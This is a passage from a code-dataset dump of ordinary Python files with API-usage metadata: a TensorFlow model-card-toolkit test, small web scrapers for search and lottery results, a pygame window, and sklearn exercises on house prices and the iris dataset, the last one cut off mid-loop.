"numpy.argmax", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imsave", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}]} {"seq_id": "27059233763", "text": "import os\nfrom unittest import mock\n\nfrom absl import flags\nfrom absl.testing import absltest, parameterized\n\ntry:\n import tensorflow_model_analysis as tfma\n from ml_metadata.proto import metadata_store_pb2\nexcept ImportError:\n pass\n\nfrom model_card_toolkit import core, dependencies, model_card\n\ntry:\n from model_card_toolkit.utils import tf_graphics, tf_sources\n from model_card_toolkit.utils.testdata import tf_testdata_utils\n from model_card_toolkit.utils.testdata.tfxtest import TfxTest\n from model_card_toolkit.utils.tf_utils import (\n _TFX_METRICS_TYPE, _TFX_STATS_TYPE\n )\nexcept ImportError:\n tf_graphics = None\n TfxTest = absltest.TestCase\n\n_MOCK_TENSORFLOW_EXTRA_MISSING_DEP = {\n dependencies._TENSORFLOW_EXTRA_DEPS[0]: None,\n}\n\n_IS_MISSING_OPTIONAL_DEPS = not dependencies.has_tensorflow_extra_deps()\n\n\nclass TfCoreTest(parameterized.TestCase, TfxTest):\n def setUp(self):\n super().setUp()\n if _IS_MISSING_OPTIONAL_DEPS:\n self.skipTest('Missing optional dependencies.')\n test_dir = self.create_tempdir()\n self.tmp_db_path = os.path.join(test_dir, 'test_mlmd.db')\n self.mct_dir = test_dir.mkdir(\n os.path.join(test_dir, 'model_card')\n ).full_path\n\n @mock.patch.dict('sys.modules', _MOCK_TENSORFLOW_EXTRA_MISSING_DEP)\n def test_init_with_store_and_missing_tensorflow_extra_deps(self):\n store = tf_testdata_utils.get_tfx_pipeline_metadata_store(self.tmp_db_path)\n with self.assertRaises(ImportError):\n core.ModelCardToolkit(\n output_dir=self.mct_dir, mlmd_source=tf_sources.MlmdSource(\n store=store, model_uri=tf_testdata_utils.TFX_0_21_MODEL_URI\n )\n )\n\n @mock.patch.dict('sys.modules', _MOCK_TENSORFLOW_EXTRA_MISSING_DEP)\n def test_init_with_source_and_missing_tensorflow_extra_deps(self):\n with self.assertRaises(ImportError):\n core.ModelCardToolkit(source=tf_sources.Source())\n\n def test_init_with_store_model_uri_not_found(self):\n store = tf_testdata_utils.get_tfx_pipeline_metadata_store(self.tmp_db_path)\n unknown_model = 'unknown_model'\n with self.assertRaisesRegex(\n ValueError, f'\"{unknown_model}\" cannot be found in the `store`'\n ):\n core.ModelCardToolkit(\n mlmd_source=tf_sources.MlmdSource(\n store=store, model_uri=unknown_model\n )\n ) # yapf: disable\n\n @mock.patch.object(\n tf_graphics, 'annotate_dataset_feature_statistics_plots', autospec=True\n )\n @mock.patch.object(tf_graphics, 'annotate_eval_result_plots', autospec=True)\n def test_scaffold_assets_with_store(\n self, mock_annotate_data_stats, mock_annotate_eval_results\n ):\n num_stat_artifacts = 2\n num_eval_artifacts = 1\n output_dir = self.mct_dir\n store = tf_testdata_utils.get_tfx_pipeline_metadata_store(self.tmp_db_path)\n toolkit = core.ModelCardToolkit(\n output_dir=output_dir, mlmd_source=tf_sources.MlmdSource(\n store=store, model_uri=tf_testdata_utils.TFX_0_21_MODEL_URI\n )\n )\n mc = toolkit.scaffold_assets()\n self.assertIsNotNone(mc.model_details.name)\n self.assertIsNotNone(mc.model_details.version.name)\n self.assertIn(\n 'default_template.html.jinja',\n os.listdir(os.path.join(output_dir, 'template/html'))\n )\n self.assertIn(\n 'default_template.md.jinja',\n os.listdir(os.path.join(output_dir, 'template/md'))\n )\n self.assertEqual(mock_annotate_data_stats.call_count, num_stat_artifacts)\n self.assertEqual(mock_annotate_eval_results.call_count, num_eval_artifacts)\n\n @parameterized.parameters(\n ('', True), ('', False), ('tfrecord', True), ('tfrecord', False)\n )\n def test_scaffold_assets_with_source(\n self, output_file_format: str, artifacts: bool\n ):\n\n train_dataset_name = 'Dataset-Split-train'\n train_features = ['feature_name1']\n eval_dataset_name = 'Dataset-Split-eval'\n eval_features = ['feature_name2', 'feature_name3']\n\n test_dir = self.create_tempdir()\n tfma_path = os.path.join(test_dir, 'tfma')\n tfdv_path = os.path.join(test_dir, 'tfdv')\n pushed_model_path = os.path.join(test_dir, 'pushed_model')\n\n add_metrics_callbacks = [\n tfma.post_export_metrics.example_count(),\n tfma.post_export_metrics.calibration_plot_and_prediction_histogram(\n num_buckets=2\n ),\n ]\n\n if artifacts:\n mlmd_store = self._set_up_mlmd()\n self._write_tfma(\n tfma_path, output_file_format, add_metrics_callbacks, mlmd_store\n )\n self._write_tfdv(\n tfdv_path, train_dataset_name, train_features, eval_dataset_name,\n eval_features, mlmd_store\n )\n model_evaluation_artifacts = mlmd_store.get_artifacts_by_type(\n _TFX_METRICS_TYPE\n )\n example_statistics_artifacts = mlmd_store.get_artifacts_by_type(\n _TFX_STATS_TYPE\n )\n # Use placeholder artifact to avoid introducing tfx as a dependency\n pushed_model_artifact = metadata_store_pb2.Artifact(\n uri=pushed_model_path\n )\n tfma_src = tf_sources.TfmaSource(\n model_evaluation_artifacts=model_evaluation_artifacts,\n metrics_exclude=['average_loss']\n )\n tfdv_src = tf_sources.TfdvSource(\n example_statistics_artifacts=example_statistics_artifacts,\n features_include=['feature_name1', 'feature_name3']\n )\n model_src = tf_sources.ModelSource(\n pushed_model_artifact=pushed_model_artifact\n )\n else:\n self._write_tfma(tfma_path, output_file_format, add_metrics_callbacks)\n self._write_tfdv(\n tfdv_path, train_dataset_name, train_features, eval_dataset_name,\n eval_features\n )\n tfma_src = tf_sources.TfmaSource(\n eval_result_paths=[tfma_path], metrics_exclude=['average_loss']\n )\n tfdv_src = tf_sources.TfdvSource(\n dataset_statistics_paths=[tfdv_path],\n features_include=['feature_name1', 'feature_name3']\n )\n model_src = tf_sources.ModelSource(pushed_model_path=pushed_model_path)\n\n mc = core.ModelCardToolkit(\n source=tf_sources.Source(\n tfma=tfma_src, tfdv=tfdv_src, model=model_src\n )\n ).scaffold_assets() # yapf: disable\n\n with self.subTest(name='quantitative_analysis'):\n list_to_proto = lambda lst: [x.to_proto() for x in lst]\n expected_performance_metrics = [\n model_card.PerformanceMetric(\n type='post_export_metrics/example_count', value='2.0'\n )\n ]\n self.assertCountEqual(\n list_to_proto(mc.quantitative_analysis.performance_metrics),\n list_to_proto(expected_performance_metrics)\n )\n self.assertLen(mc.quantitative_analysis.graphics.collection, 1)\n\n with self.subTest(name='model_parameters.data'):\n self.assertLen(mc.model_parameters.data, 2) # train and eval\n for dataset in mc.model_parameters.data:\n for graphic in dataset.graphics.collection:\n self.assertIsNotNone(\n graphic.image,\n msg=f'No image found for graphic: {dataset.name} {graphic.name}'\n )\n graphic.image = None # ignore graphic.image for below assertions\n self.assertIn(\n model_card.Dataset(\n name=train_dataset_name, graphics=model_card.GraphicsCollection(\n collection=[\n model_card.Graphic(name='counts | feature_name1')\n ]\n )\n ), mc.model_parameters.data\n )\n self.assertIn(\n model_card.Dataset(\n name=eval_dataset_name, graphics=model_card.GraphicsCollection(\n collection=[\n model_card.Graphic(name='counts | feature_name3')\n ]\n )\n ), mc.model_parameters.data\n )\n self.assertNotIn(\n model_card.Dataset(\n name=eval_dataset_name, graphics=model_card.GraphicsCollection(\n collection=[\n model_card.Graphic(name='counts | feature_name2')\n ]\n )\n ), mc.model_parameters.data\n )\n\n with self.subTest(name='model_details.path'):\n self.assertEqual(mc.model_details.path, pushed_model_path)\n\n def test_scaffold_assets_with_empty_source(self):\n core.ModelCardToolkit(source=tf_sources.Source()).scaffold_assets()\n\n def test_scaffold_assets_with_invalid_tfma_source(self):\n with self.assertRaisesWithLiteralMatch(\n ValueError,\n 'Only one of TfmaSource.metrics_include and TfmaSource.metrics_exclude '\n 'should be set.'\n ):\n core.ModelCardToolkit(\n source=tf_sources.Source(\n tfma=tf_sources.TfmaSource(\n eval_result_paths=['dummy/path'], metrics_include=[\n 'false_positive_rate'\n ], metrics_exclude=['false_negative_rate']\n )\n )\n )\n\n def test_scaffold_assets_with_invalid_tfdv_source(self):\n with self.assertRaisesWithLiteralMatch(\n ValueError, 'Only one of TfdvSource.features_include and '\n 'TfdvSource.features_exclude should be set.'\n ):\n core.ModelCardToolkit(\n source=tf_sources.Source(\n tfdv=tf_sources.TfdvSource(\n dataset_statistics_paths=['dummy/path'], features_include=[\n 'brand_confidence'\n ], features_exclude=['brand_prominence']\n )\n )\n )\n\n\nif __name__ == '__main__':\n absltest.main()\nelse:\n # Manually pass and parse flags to prevent UnparsedFlagAccessError when using\n # pytest or unittest as a runner.\n flags.FLAGS(['--test_tmpdir'])\n", "repo_name": "tensorflow/model-card-toolkit", "sub_path": "model_card_toolkit/core_tf_test.py", "file_name": "core_tf_test.py", "file_ext": "py", "file_size_in_byte": 9662, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 391, "dataset": "github-code", "pt": "71", "api": [{"api_name": "model_card_toolkit.utils.tf_graphics", "line_number": 23, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.testdata.tfxtest.TfxTest", "line_number": 24, "usage_type": "name"}, {"api_name": "absl.testing.absltest.TestCase", "line_number": 24, "usage_type": "attribute"}, {"api_name": "absl.testing.absltest", "line_number": 24, "usage_type": "name"}, {"api_name": "model_card_toolkit.dependencies._TENSORFLOW_EXTRA_DEPS", "line_number": 27, "usage_type": "attribute"}, {"api_name": "model_card_toolkit.dependencies", "line_number": 27, "usage_type": "name"}, {"api_name": "model_card_toolkit.dependencies.has_tensorflow_extra_deps", "line_number": 30, "usage_type": "call"}, {"api_name": "model_card_toolkit.dependencies", "line_number": 30, "usage_type": "name"}, {"api_name": "absl.testing.parameterized.TestCase", "line_number": 33, "usage_type": "attribute"}, {"api_name": "absl.testing.parameterized", "line_number": 33, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.testdata.tfxtest.TfxTest", "line_number": 33, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils.get_tfx_pipeline_metadata_store", "line_number": 46, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils", "line_number": 46, "usage_type": "name"}, {"api_name": "model_card_toolkit.core.ModelCardToolkit", "line_number": 48, "usage_type": "call"}, {"api_name": "model_card_toolkit.core", "line_number": 48, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.MlmdSource", "line_number": 49, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 49, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils.TFX_0_21_MODEL_URI", "line_number": 50, "usage_type": "attribute"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils", "line_number": 50, "usage_type": "name"}, {"api_name": "unittest.mock.patch.dict", "line_number": 44, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 44, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 44, "usage_type": "name"}, {"api_name": "model_card_toolkit.core.ModelCardToolkit", "line_number": 57, "usage_type": "call"}, {"api_name": "model_card_toolkit.core", "line_number": 57, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.Source", "line_number": 57, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 57, "usage_type": "name"}, {"api_name": "unittest.mock.patch.dict", "line_number": 54, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 54, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 54, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils.get_tfx_pipeline_metadata_store", "line_number": 60, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils", "line_number": 60, "usage_type": "name"}, {"api_name": "model_card_toolkit.core.ModelCardToolkit", "line_number": 65, "usage_type": "call"}, {"api_name": "model_card_toolkit.core", "line_number": 65, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.MlmdSource", "line_number": 66, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 66, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils.get_tfx_pipeline_metadata_store", "line_number": 81, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils", "line_number": 81, "usage_type": "name"}, {"api_name": "model_card_toolkit.core.ModelCardToolkit", "line_number": 82, "usage_type": "call"}, {"api_name": "model_card_toolkit.core", "line_number": 82, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.MlmdSource", "line_number": 83, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 83, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils.TFX_0_21_MODEL_URI", "line_number": 84, "usage_type": "attribute"}, {"api_name": "model_card_toolkit.utils.testdata.tf_testdata_utils", "line_number": 84, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch.object", "line_number": 71, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_graphics", "line_number": 72, "usage_type": "argument"}, {"api_name": "unittest.mock.patch", "line_number": 71, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 71, "usage_type": "name"}, {"api_name": "unittest.mock.patch.object", "line_number": 74, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_graphics", "line_number": 74, "usage_type": "argument"}, {"api_name": "unittest.mock.patch", "line_number": 74, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 74, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "tensorflow_model_analysis.post_export_metrics.example_count", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow_model_analysis.post_export_metrics", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tensorflow_model_analysis.post_export_metrics.calibration_plot_and_prediction_histogram", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow_model_analysis.post_export_metrics", "line_number": 120, "usage_type": "attribute"}, {"api_name": "model_card_toolkit.utils.tf_utils._TFX_METRICS_TYPE", "line_number": 135, "usage_type": "argument"}, {"api_name": "model_card_toolkit.utils.tf_utils._TFX_STATS_TYPE", "line_number": 138, "usage_type": "argument"}, {"api_name": "ml_metadata.proto.metadata_store_pb2.Artifact", "line_number": 141, "usage_type": "call"}, {"api_name": "ml_metadata.proto.metadata_store_pb2", "line_number": 141, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.TfmaSource", "line_number": 144, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 144, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.TfdvSource", "line_number": 148, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 148, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.ModelSource", "line_number": 152, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 152, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.TfmaSource", "line_number": 161, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 161, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.TfdvSource", "line_number": 164, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 164, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.ModelSource", "line_number": 168, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 168, "usage_type": "name"}, {"api_name": "model_card_toolkit.core.ModelCardToolkit", "line_number": 170, "usage_type": "call"}, {"api_name": "model_card_toolkit.core", "line_number": 170, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.Source", "line_number": 171, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 171, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.PerformanceMetric", "line_number": 179, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 179, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.Dataset", "line_number": 199, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 199, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.GraphicsCollection", "line_number": 200, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 200, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.Graphic", "line_number": 202, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 202, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.Dataset", "line_number": 208, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 208, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.GraphicsCollection", "line_number": 209, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 209, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.Graphic", "line_number": 211, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 211, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.Dataset", "line_number": 217, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 217, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.GraphicsCollection", "line_number": 218, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 218, "usage_type": "name"}, {"api_name": "model_card_toolkit.model_card.Graphic", "line_number": 220, "usage_type": "call"}, {"api_name": "model_card_toolkit.model_card", "line_number": 220, "usage_type": "name"}, {"api_name": "absl.testing.parameterized.parameters", "line_number": 101, "usage_type": "call"}, {"api_name": "absl.testing.parameterized", "line_number": 101, "usage_type": "name"}, {"api_name": "model_card_toolkit.core.ModelCardToolkit", "line_number": 230, "usage_type": "call"}, {"api_name": "model_card_toolkit.core", "line_number": 230, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.Source", "line_number": 230, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 230, "usage_type": "name"}, {"api_name": "model_card_toolkit.core.ModelCardToolkit", "line_number": 238, "usage_type": "call"}, {"api_name": "model_card_toolkit.core", "line_number": 238, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.Source", "line_number": 239, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 239, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.TfmaSource", "line_number": 240, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 240, "usage_type": "name"}, {"api_name": "model_card_toolkit.core.ModelCardToolkit", "line_number": 253, "usage_type": "call"}, {"api_name": "model_card_toolkit.core", "line_number": 253, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.Source", "line_number": 254, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 254, "usage_type": "name"}, {"api_name": "model_card_toolkit.utils.tf_sources.TfdvSource", "line_number": 255, "usage_type": "call"}, {"api_name": "model_card_toolkit.utils.tf_sources", "line_number": 255, "usage_type": "name"}, {"api_name": "absl.testing.absltest.main", "line_number": 265, "usage_type": "call"}, {"api_name": "absl.testing.absltest", "line_number": 265, "usage_type": "name"}, {"api_name": "absl.flags.FLAGS", "line_number": 269, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 269, "usage_type": "name"}]} {"seq_id": "40822013416", "text": "\nimport requests\nimport bs4\nfrom bs4 import BeautifulSoup as BS\nimport re\nURL = \"https://www.google.com/search?q=chees\"\ndef start_ref(q):\n global data\n data = {}\n headers = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0\"\n }\n req = requests.get(q, headers=headers)\n src = req.text\n with open('indextest.html', 'w') as f:\n f.write(src)\n soup = BS(src, \"lxml\")\n# menu = soup.find(\"h3\").find_parents(\"div\", id=\"search\").\n menu = soup.find_all(\"h3\")\n\n\n for i in menu:\n\n inmenu = i.find_parent().find_parent().find_parent().find_parent()\n for q in 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12:\n lincs = inmenu.get(\"href\")\n h3 = inmenu.find(\"h3\").text\n span = inmenu.find(\"span\")\n\n data = {q: [lincs, h3, span]}\n print(data)\n\n\n return 0\n\n\nif __name__ == '__main__':\n start_ref(URL)", "repo_name": "OlegYes/SerferGoogle", "sub_path": "parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 1029, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 18, "usage_type": "call"}]} {"seq_id": "28794404712", "text": "import pygame # Importa a biblioteca pygame\nfrom pygame.locals import * # Importa de pygame tudo do submódulo locals\nfrom sys import exit # Importa a função exit do módulo sys que fecha a janela\n\n# Inicializa todas as funções e variáveis da biblioteca pygame\npygame.init()\n\n# Cria o objeto tela\nlargura = 640 # Medida da tela em pixel\naltura = 480 # Medida da tela em pixel\ntela = pygame.display.set_mode((largura, altura)) # Objeto que configura display\n\npygame.display.set_caption('Jogo') # Configura nome da tela\n\n# loop principal do jogo\nwhile True:\n for event in pygame.event.get(): # Detecta se algum evento ocorreu\n if event.type == QUIT: # Para a janela fechar ao clicar em fechar\n pygame.quit()\n exit()\n pygame.display.update() # Atualiza tela do jogo a cada interação do loop principal\n\n", "repo_name": "Souza83/pygame", "sub_path": "pygametela01.py", "file_name": "pygametela01.py", "file_ext": "py", "file_size_in_byte": 852, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.init", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 21, "usage_type": "attribute"}]} {"seq_id": "21247139153", "text": "import pandas as pd\nimport numpy as np\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.cross_validation import KFold, StratifiedKFold, cross_val_score\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import LabelEncoder, LabelBinarizer\n\nimport matplotlib.pyplot as plt\nfrom sklearn_pandas import DataFrameMapper\n\n\nDATA = '../data/'\n\nmapper = DataFrameMapper([\n ('MSSubClass', None),\n ('LotArea', None),\n ('LotShape', LabelBinarizer()),\n])\n\nfeatures = [\n 'MSSubClass',\n 'LotArea',\n 'LotShape',\n]\n\npipeline = Pipeline([\n ('featurize', mapper),\n ('regr', LogisticRegression(fit_intercept=True)),\n])\n\nfts = [\n 'MSSubClass',\n 'LotArea',\n 'LotShape',\n]\n\nfts1 = fts + ['SalePrice']\n\ndef load():\n df_train = pd.read_csv(DATA + 'train.csv', header = 0, index_col = 'Id')\n df_test = pd.read_csv(DATA + 'test.csv', header = 0, index_col = 'Id')\n\n return df_train, df_test\n\n\ndef main():\n df_train, df_test = load()\n\n import pdb; pdb.set_trace()\n\nif __name__ == '__main__':\n main()\n", "repo_name": "lchsk/kaggle", "sub_path": "house-prices/house_prices/house2.py", "file_name": "house2.py", "file_ext": "py", "file_size_in_byte": 1054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sklearn_pandas.DataFrameMapper", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelBinarizer", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 42, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 50, "usage_type": "call"}]} {"seq_id": "12652621246", "text": "#coding=utf-8\nimport requests\nimport time\nimport pandas as pd\nimport numpy as np\n\n\ndef get_data():\n data = pd.DataFrame()\n for i in range(1,98):\n url = f\"http://www.lottery.gov.cn/historykj/history_{i}.jspx?_ltype=dlt\"\n res = requests.get(url,headers=header).text #获取网页内容\n df = pd.read_html(res)[0] #使用pandas快速获取表格数据\n data = data.append([df])\n time.sleep(0.1)\n return data\n\ndef remake_data():\n data_list = []\n for list in get_data().values:\n # 将8到15之间的数据两两相加，再插入数组中\n list = np.insert(list, 8,[list[8] + list[10], list[9] + list[11], list[12] + list[14], list[13] + list[15]])\n list = np.delete(list, -4) # 删除“nan“\n list = np.delete(list, np.s_[12:20]) # 删除“8到15之间的数据“\n # 将1到7之间的数据两两相减，再添加到数组末尾\n list = np.append(list, [list[2] - list[1], list[3] - list[2], list[4] - list[3], list[5] - list[4],list[7] - list[6]])\n\n data_list.append(list) #将处理好的数据装入空列表data_list中\n #用new_title 作为key ，data_list作为values 创建一个二维数组\n dataframe = pd.DataFrame(data_list, columns=new_title)\n return dataframe\n\n\nif __name__ == '__main__':\n #url = f\"http://www.lottery.gov.cn/historykj/history_1.jspx?_ltype=dlt\"\n header = {\"User-Agent\": \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1 Trident/5.0;\"}\n new_title = ['期号', 'first1', 'first2', 'first3', 'first4', 'first5', 'last1', 'last2', '一等奖注数', '一等奖奖金(元)',\n '二等奖注数', '二等奖奖金(元)', '销售额(元)', '奖池奖金（元）', '开奖日期', '1~2', '2~3', '3~4', '4~5', 'last1~last2']\n\n #remake_data().to_excel(\"lottery1.xls\",index=False)\n remake_data().to_csv(\"lottery1.csv\",index=False)\n", "repo_name": "renmoji/Lottery_Analysis", "sub_path": "get_lottery_data.py", "file_name": "get_lottery_data.py", "file_ext": "py", "file_size_in_byte": 1896, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.DataFrame", "line_number": 9, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.read_html", "line_number": 13, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.s_", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 30, "usage_type": "call"}]} {"seq_id": "14108163", "text": "\nimport pandabear as pd\nimport matplotlib.pyplot as plt\n\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\n# KNN 알고리즘 사용을 위한 모듈\n\n #1. 전처리 하기 전 데이터 확인\n\ndata = pd.read_csv (\"sample_iris.csv\")\nprint(data.head())\n\n# 지도학습 데이터\n\nX = data.values[:, :data.shape[1] - 1]\nY = data.values[:, data.shape[1] - 1]\n\n# X 트레인과 Y 트레인 train test split : 데이터를 마구 섞는다.\n\nX_train, X_test, Y_train, Y_test = train_test_split(X,Y, test_size= 0.3,random_state=1)\n\n# 2개의 개체를 다음과 같이 나눈다. 값을 유지시키기 위해서 고정값 1\n\n\nknn = KNeighborsClassifier(n_neighbors=5)\n# 거리값 K 거리값 정의하고 학습하는 것\n\nknn.fit(X_train,Y_train)\n#이 트레이닝으로 학습을 하겠다. 라는 의미\nprint('KNN iris of acc > ' , format(knn.score(X_test, Y_test)*100)) # X Y 트레인을 비교해서 값을 나타낸 것,\n\ntrain_acc = [] # 트레이닝 정확도\ntest_acc = [] # 테스트 정확도를 리스트에 담아둠\nk_list = range(1, 100) # 1부터 31까지를 / 거리값을 계산시 위치를 바꿔주면됌\nfor k in k_list:\n clf = KNeighborsClassifier(n_neighbors=k) #1부터 30까지의 모든 거리 값을 다 계산\n clf.fit(X_train, Y_train)\n 